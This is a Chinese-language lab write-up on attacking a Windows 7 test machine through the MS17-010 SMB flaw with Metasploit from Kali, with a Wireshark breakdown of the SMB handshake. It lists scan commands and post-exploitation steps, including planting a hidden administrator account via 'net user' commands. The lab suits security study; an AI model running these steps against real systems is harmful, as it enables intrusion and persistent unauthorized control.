1.实验环境
攻击机:Kali
1)攻击工具:msf
2)分析工具:wireshark
3)IP地址:192.168.109.154(自动获取,NAT模式)
靶 机:Windows7
1)版本
2)开启网络共享(SMB协议)
3)关闭防火墙
4)IP地址:192.168.109.132(自动获取,NAT模式)
2.测试攻击机与靶机的连通性
3.数据库配置
1)查看本机数据库是否开启:service postgresql status
2)打开本机数据库:service postgresql start
3)进行msfdb初始化,配置数据库连接密码等信息:msfdb init
4.进行MS17-010漏洞扫描
1)启动msf:msfconsole
2)查看数据库状态:db_status
提示已经成功连接到msf
3)搜索ms17_010:search ms17_010
4)使用smb_ms17_010模块进行MS17-010漏洞扫描
5)设置扫描的主机或网段:set rhosts 192.168.109.132/24
6)设置扫描线程:set threads 30
7)执行run命令进行扫描
发现目标主机漏洞
5、对扫描模块抓包分析
6、利用MS17-010漏洞进行攻击
1)使用攻击模块
2)设置目标主机
3)设置攻击载荷
4)设定监听主机
5)执行exploit命令进行攻击
可以看到监听IP及端口,攻击机与靶机之间成功建立会话
7、分析攻击过程
1)首先攻击机(Kali Linux)向靶机(Windows 7)发送一个SMB的Negotiate Protocol Request(协商协议请求)数据报,并列出攻击机所支持的SMB协议版本。
2)服务器响应一个SMB的Negotiate Protocol Response (协商协议响应)数据报; (如果无可使用的协议版本则返回0XFFFFH,结束通信。)
3)攻击机(Kali Linux)向靶机(Windows 7)发起一个Session setup X request(会话设置请求)数据报,会话的用户身份为:anonymous(匿名用户)
4)靶机(Windows 7)确认身份后发送一个Session Setup X Response(会话设置响应)数据报同意本次连接。
5)协商和认证成功之后,攻击机向靶机发送一个Tree Connect AndX Request(树连接和请求)数据报,列出要访问的网络资源的名称(匿名管道共享)
6)服务器会发送一个Tree Connect AndX Response(树连接和响应)数据报,同意访问资源,并列出访问者的权限
7)连接到相应资源后,进行正常的网络共享访问
SMB客户端通过:open SMB、read SMB、write SMB、close SMB实现打开、读取、写入、关闭共享文件。
8、执行后续攻击
1)显示远程主机的系统信息:sysinfo
2)查看用户身份:getuid
3)对远程主机当前屏幕进行截图:screenshot
4)获得Shell控制台权限:shell
5)进行后门植入(植入新的管理员账户)
net user jack 123 /add
net localgroup administrators jack /add
net user
net localgroup administrators
9.在Windows7上验证植入结果
查看截屏文件及图片内容